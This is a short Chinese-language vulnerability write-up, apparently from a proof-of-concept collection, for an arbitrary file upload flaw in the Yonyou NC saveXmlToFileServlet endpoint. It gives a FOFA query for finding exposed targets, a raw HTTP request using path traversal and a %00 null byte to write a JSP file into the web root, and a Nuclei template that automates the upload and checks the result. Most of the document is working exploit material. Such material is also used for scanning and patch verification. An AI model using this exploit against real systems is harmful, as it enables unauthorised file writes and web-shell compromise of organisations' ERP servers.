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55 lines
1.5 KiB
Markdown
55 lines
1.5 KiB
Markdown
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## 用友NC接口saveXmlToFIleServlet存在文件上传
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/portal/pt/servlet/saveXmlToFileServlet/doPost接口会保存xml文档到服务器一个路径下，默认会添加.xml后缀，通过Windows的文件名特性可截断.xml文件后缀。再通过目录穿越可上传jsp文件到nc_web目录下。
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## fofa
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```
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title:"YONYOU NC"
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```
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## poc
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```
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POST /portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename=..\\..\\..\\webapps\\nc_web\\test9527.jsp%00 HTTP/1.1
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Host: xxxxx
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Content-Type: application/octet-stream
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
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123
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```
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## nuclei
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```nuclei
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id: yonyou-uap-saveXmlToFileServlet-upload-file
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info:
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name: yonyou-uap-saveXmlToFileServlet-upload-file
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author: qianbenhyu
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severity: high
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http:
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- method: POST
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path:
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- "{{BaseURL}}/portal/pt/servlet/saveXmlToFileServlet/doPost?pageId=login&filename=..\\..\\..\\webapps\\nc_web\\{{randstr_1}}.jsp%00"
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headers:
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Cookie: LA_K1=langid
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serverEnable: localserver
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Accept-Encoding: gzip, x-gzip, deflate
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Content-Length: 27
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Content-Type: application/octet-stream
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Content-Encoding: UTF_8
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Connection: keep-alive
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User-Agent: Apache-HttpClient/5.2.1 (Java/1.8.0_202)
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body: "{{randstr_2}}"
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- method: GET
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path:
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- "{{BaseURL}}/{{randstr_1}}.jsp"
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matchers:
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- type: word
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words:
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- "{{randstr_2}}"
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```
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